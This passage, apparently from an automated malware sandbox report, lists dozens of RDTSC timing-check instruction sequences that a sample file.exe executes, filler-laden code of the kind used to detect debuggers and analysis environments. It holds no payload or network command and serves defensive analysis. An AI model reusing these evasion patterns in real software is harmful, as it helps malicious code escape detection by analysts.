pop edx 0x00000056 popad 0x00000057 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 645A5E second address: 645A62 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 645A62 second address: 645A7C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8904F6CEE6h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 645A7C second address: 645A86 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jo 00007F8904F778A6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 645A86 second address: 645AA2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8904F6CEDAh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007F8904F6CEDCh 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 645AA2 second address: 645ABD instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8904F778B7h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 64867F second address: 648690 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8904F6CEDAh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 648690 second address: 648696 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 648696 second address: 6486AB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F8904F6CEDDh 0x00000009 popad 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6486AB second address: 6486B7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jg 00007F8904F778A6h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6486B7 second address: 6486E0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F8904F6CEE3h 0x00000009 popad 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F8904F6CEDAh 0x00000012 push eax 0x00000013 push edx 0x00000014 push edi 0x00000015 pop edi 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6486E0 second address: 6486E8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 64885E second address: 64887A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 jmp 00007F8904F6CEE7h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 64887A second address: 648890 instructions: 0x00000000 rdtsc 0x00000002 jo 00007F8904F778AAh 0x00000008 pushad 0x00000009 popad 0x0000000a pushad 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 jbe 00007F8904F778A6h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 648890 second address: 648894 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 648C6B second address: 648C79 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jg 00007F8904F778A6h 0x0000000a pop eax 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 648C79 second address: 648C9D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F8904F6CEDFh 0x00000009 jns 00007F8904F6CED6h 0x0000000f popad 0x00000010 pop edx 0x00000011 pushad 0x00000012 push eax 0x00000013 push edx 0x00000014 jnl 00007F8904F6CED6h 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 648C9D second address: 648CA1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 64CDCF second address: 64CDE5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop esi 0x00000006 push eax 0x00000007 push edx 0x00000008 push ebx 0x00000009 je 00007F8904F6CED6h 0x0000000f jnc 00007F8904F6CED6h 0x00000015 pop ebx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 64CDE5 second address: 64CDEB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 64BFFC second address: 64C012 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jmp 00007F8904F6CEDEh 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 64C14E second address: 64C167 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8904F778AFh 0x00000007 jc 00007F8904F778A6h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 64C167 second address: 64C1C3 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F8904F6CEEEh 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b jmp 00007F8904F6CEE0h 0x00000010 pushad 0x00000011 jnc 00007F8904F6CED6h 0x00000017 pushad 0x00000018 popad 0x00000019 ja 00007F8904F6CED6h 0x0000001f popad 0x00000020 jmp 00007F8904F6CEDFh 0x00000025 push eax 0x00000026 push edx 0x00000027 jc 00007F8904F6CED6h 0x0000002d pushad 0x0000002e popad 0x0000002f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 64C311 second address: 64C315 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 64C315 second address: 64C31B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 64C769 second address: 64C76E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 64C76E second address: 64C78D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnl 00007F8904F6CED6h 0x0000000a pushad 0x0000000b popad 0x0000000c popad 0x0000000d jmp 00007F8904F6CEDCh 0x00000012 pop edx 0x00000013 pop eax 0x00000014 pushad 0x00000015 pushad 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 64C78D second address: 64C7AE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnl 00007F8904F778A6h 0x0000000a jmp 00007F8904F778ACh 0x0000000f popad 0x00000010 push eax 0x00000011 push edx 0x00000012 push ebx 0x00000013 pop ebx 0x00000014 jc 00007F8904F778A6h 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 64C7AE second address: 64C7B4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 64C7B4 second address: 64C7C2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jnp 00007F8904F778A6h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 64C91D second address: 64C926 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 64C926 second address: 64C935 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 push eax 0x00000006 push edx 0x00000007 jnc 00007F8904F778A8h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 655A2A second address: 655A2E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 655A2E second address: 655A34 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 653BD3 second address: 653BDE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 653BDE second address: 653BE2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 653BE2 second address: 653BF9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8904F6CEE3h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 653BF9 second address: 653BFF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 653BFF second address: 653C18 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 jmp 00007F8904F6CEE3h 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 654657 second address: 65465B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 65465B second address: 65465F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 654B7E second address: 654B94 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jl 00007F8904F778C4h 0x0000000e jp 00007F8904F778BEh 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 655184 second address: 655196 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F8904F6CEDCh 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 655196 second address: 6551CA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F8904F778B9h 0x00000009 popad 0x0000000a jne 00007F8904F778B6h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6551CA second address: 6551D6 instructions: 0x00000000 rdtsc 0x00000002 jp 00007F8904F6CEDEh 0x00000008 push eax 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6551D6 second address: 6551DE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6551DE second address: 6551E4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6551E4 second address: 6551E8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 658997 second address: 65899D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 65899D second address: 6589A3 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 658C5B second address: 658C61 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 658C61 second address: 658C65 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 658D94 second address: 658D98 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 658D98 second address: 658DB2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 jmp 00007F8904F778B2h 0x0000000c pop eax 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 659037 second address: 65903D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 659315 second address: 65931C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 65931C second address: 65932D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8904F6CEDBh 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 65949B second address: 6594A7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jne 00007F8904F778A8h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6594A7 second address: 6594C6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8904F6CEE3h 0x00000007 push eax 0x00000008 push edx 0x00000009 je 00007F8904F6CED6h 0x0000000f pushad 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 664EF3 second address: 664F23 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 jmp 00007F8904F778ABh 0x0000000a jmp 00007F8904F778B6h 0x0000000f popad 0x00000010 pushad 0x00000011 push eax 0x00000012 push edx 0x00000013 jns 00007F8904F778A6h 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 664F23 second address: 664F42 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F8904F6CEE7h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 664F42 second address: 664F96 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 js 00007F8904F778A6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d pushad 0x0000000e popad 0x0000000f jmp 00007F8904F778B9h 0x00000014 ja 00007F8904F778A6h 0x0000001a jg 00007F8904F778A6h 0x00000020 popad 0x00000021 jnp 00007F8904F778C3h 0x00000027 jmp 00007F8904F778B7h 0x0000002c push eax 0x0000002d push edx 0x0000002e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 665651 second address: 66565B instructions: 0x00000000 rdtsc 0x00000002 jp 00007F8904F6CED6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6658E2 second address: 6658F2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jg 00007F8904F778A6h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6658F2 second address: 6658F6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6658F6 second address: 6658FA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6658FA second address: 665905 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edi 0x00000007 pushad 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 665B9B second address: 665BE0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 pop eax 0x00000007 jns 00007F8904F778BFh 0x0000000d popad 0x0000000e pushad 0x0000000f jmp 00007F8904F778ADh 0x00000014 pushad 0x00000015 push eax 0x00000016 pop eax 0x00000017 push ebx 0x00000018 pop ebx 0x00000019 pushad 0x0000001a popad 0x0000001b popad 0x0000001c jnp 00007F8904F778B2h 0x00000022 push eax 0x00000023 push edx 0x00000024 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 665BE0 second address: 665BE6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 666BA6 second address: 666BAC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 666BAC second address: 666BB0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 664AEE second address: 664AF3 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 664AF3 second address: 664B08 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop ebx 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jnp 00007F8904F6CEDEh 0x00000011 pushad 0x00000012 popad 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 664B08 second address: 664B0C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 664B0C second address: 664B13 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 66C2F7 second address: 66C2FD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 66C2FD second address: 66C301 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 66C301 second address: 66C305 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 66C305 second address: 66C30F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 66C30F second address: 66C315 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 66C315 second address: 66C319 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 678870 second address: 67889C instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F8904F778A6h 0x00000008 jmp 00007F8904F778B6h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f pop edi 0x00000010 push ebx 0x00000011 push eax 0x00000012 push edx 0x00000013 pushad 0x00000014 popad 0x00000015 jc 00007F8904F778A6h 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 67C24B second address: 67C251 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 67BDF6 second address: 67BDFA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 67BDFA second address: 67BE04 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jp 00007F8904F6CED6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 67BE04 second address: 67BE08 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 67BE08 second address: 67BE18 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jnc 00007F8904F6CED6h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 68B38E second address: 68B395 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop ecx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 68E37E second address: 68E383 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 68E383 second address: 68E38B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 68E38B second address: 68E39B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push ecx 0x00000006 pushad 0x00000007 popad 0x00000008 pop ecx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 68E39B second address: 68E3C7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F8904F778B9h 0x00000009 jbe 00007F8904F778A6h 0x0000000f popad 0x00000010 ja 00007F8904F778A8h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 690690 second address: 6906AC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F8904F6CEE8h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6906AC second address: 6906E4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8904F778B1h 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pushad 0x0000000c pushad 0x0000000d popad 0x0000000e js 00007F8904F778A6h 0x00000014 jmp 00007F8904F778B7h 0x00000019 popad 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 696062 second address: 696068 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6948E9 second address: 6948FA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F8904F778ACh 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6950EF second address: 695116 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8904F6CEE9h 0x00000007 push ebx 0x00000008 pop ebx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d jbe 00007F8904F6CED6h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 695116 second address: 69511A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 69511A second address: 695170 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F8904F6CEE6h 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f jmp 00007F8904F6CEE0h 0x00000014 jmp 00007F8904F6CEDCh 0x00000019 pushad 0x0000001a popad 0x0000001b jmp 00007F8904F6CEE3h 0x00000020 popad 0x00000021 push eax 0x00000022 push edx 0x00000023 pushad 0x00000024 popad 0x00000025 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 695170 second address: 695176 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6A57EA second address: 6A57EE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6A57EE second address: 6A5826 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8904F778B5h 0x00000007 jmp 00007F8904F778B1h 0x0000000c pop edx 0x0000000d pop eax 0x0000000e jo 00007F8904F778B2h 0x00000014 jno 00007F8904F778A6h 0x0000001a push eax 0x0000001b push edx 0x0000001c rdtsc
